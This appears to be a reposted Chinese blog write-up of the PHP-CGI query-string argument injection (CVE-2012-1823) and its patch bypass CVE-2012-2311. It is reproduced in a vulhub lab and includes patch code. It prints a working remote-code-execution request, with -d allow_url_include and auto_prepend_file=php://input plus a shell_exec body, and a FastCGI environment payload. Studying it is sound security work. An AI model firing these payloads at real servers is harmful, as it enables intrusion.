PHP-CGI远程代码执行漏洞(CVE-2012-1823)

PHP-CGI远程代码执行漏洞(CVE-2012-1823)
漏洞简介

漏洞分析
PHP SAPI 与运行模式
在PHP源码中,有一个目录叫sapi。sapi在PHP中的作用,类似一个消息的“传递者”,(PHP-FPM中的fpm,其作用就是接受web容器通过fastcgi协议封装好的数据,交给PHP解释器执行;除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。)

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,所以现在越来越多的web应用使用php-fpm去运行php。

CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。

这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。

探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。

漏洞复现
利用vulhub漏洞环境进行测试

进入ssrf漏洞环境

    cd  vulhub-master/php/CVE-2012-1823
进行环境构建

    docker-compose  build
启动环境

    docker-compose  up -d
然后访问目标地址`http:ip:8080`

漏洞测试

访问目标地址`http:ip:8080/index.php/?-s`,若返回源码,则说明存在此漏洞

漏洞利用

通过阅读源码,发现cgi模式下通过可控命令行参数有如下一些参数可用:

    -c 指定php.ini文件的位置
    -n 不要加载php.ini文件
    -d 指定配置项
    -b 启动fastcgi进程
    -s 显示文件源码
    -T 执行指定次该文件
    -h和-? 显示帮助

可以看出最简单的就是利用-s查看源码,

任意代码执行

通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:

利用burpsuite抓包,然后修改数据包内容在`index.php?`后面添加

    -d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
再添加传输内容`<?php echo shell_exec("id"); ?>`如下:

可以看出body中的代码内容已经被执行并返回结果

原理分析
PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

    {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'GET',
        'SCRIPT_FILENAME': '/var/www/html/index.php',
        'SCRIPT_NAME': '/index.php',
        'QUERY_STRING': '?a=1&b=2',
        'REQUEST_URI': '/index.php?a=1&b=2',
        'DOCUMENT_ROOT': '/var/www/html',
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '12345',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1'
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
设置`auto_prepend_file = php://input`且`allow_url_include = On`,然后将我们需要执行的代码放在Body中,即可执行任意代码。

漏洞修复
CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。

PHP的修复方法是对-进行了检查:

    if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }
可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。

这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

    #!/bin/sh
    
    exec /usr/local/bin/php-cgi $*
通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

于是,php5.4.3和php5.3.13中继续进行修改:

    if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
            /* skip all leading spaces */
        }
        if(*p == '-') {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }
先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。

参考链接:

[https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311](https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311)

猜你喜欢

转载自www.cnblogs.com/riginal/p/11314565.html